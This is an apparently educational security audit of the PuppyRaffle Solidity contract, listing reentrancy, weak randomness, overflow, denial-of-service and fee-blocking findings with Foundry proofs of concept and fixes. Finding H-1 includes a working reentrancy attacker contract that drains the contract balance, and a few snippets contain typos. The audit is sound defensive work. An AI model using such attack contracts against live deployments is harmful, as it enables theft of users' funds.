  - Informational / Non-Critical
    - [I-1] Unspecific Solidity Pragma
    - [I-2] Using an outdate version of Solidity is not recommended.
    - [I-3]: Address State Variable Set Without Checks
    - [I-4] `PuppyRaffle::selectWinner` should follow CEI
    - [I-5] Use of "magic numbers" is discouraged
    - [I-6] _isActivePlayer is never used and should be removed
    - [I-7] Floating pragmas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The ToDDorov team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The finding described in this document correspond the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- `Owner` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
```

```
            emit RaffleRefunded(playerAddress);
        }
```

A player who has entered the raffle could have `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concepts:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker call `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
        assertEq(endingContractBalance, 0);

        console.log("starting attacker balance", startingAttackerBalance);
        console.log("starting contract balance", startingContractBalance);
        console.log("ending attacker balance", address(attacker).balance);
        console.log("ending contract balance", address(puppyRaffle).balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additioanlly, we should move event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping though players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service(DoS) attack, incrementing gas costs for future entrants

Description The `PuppyRaffle::enterRaffle` function loops though the `players` array to check for duplicates. However, the longer `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will dramatically be lower that those who enter later. Every additional address in the `player` array is an additional check the loop will have to make.

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact The gas costs for raffle entrants will greatly increase as more playeres enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be on of the first entrats in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concepts

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = gasStart - gasEnd * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedTwo = gasStartTwo - gasEndTwo * tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedTwo);

        assert(gasUsedFirst < gasUsedTwo);
    }
```

Recommended mitigation There are a few recommendantions.

1. Consider allowing duplicates. Users can make new waller addresses anyways, so a duplicate check doesn‘t prevent the same person from entering multiple times, only the same wallet address.

2. Consider using mapping to check for duplicates. This would allow constant time lookup of

whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;

     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+        // Check for diplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);
     }

     function selectWinner() external {
+        raffleId++;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alrenatively, you could use OpenZeppelin`s`EnumerableSet‘ library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
     function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
         require(players.length > 0, "PuppyRaffle: No players in raffle");

```

```
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

```
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not enetered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not enetered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concepts:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documenation

Recommended mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memomry which is more gas efficient.

```
+       uin256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
           }
       }
```

Informational / Non-Critical

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdate version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It‘s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic numbers" is discouraged

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+        uint256 public constant FEE_PERCENTAGE = 20;
+        uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
             PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
             TOTAL_PERCENTAGE;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-7] Floating pragmas
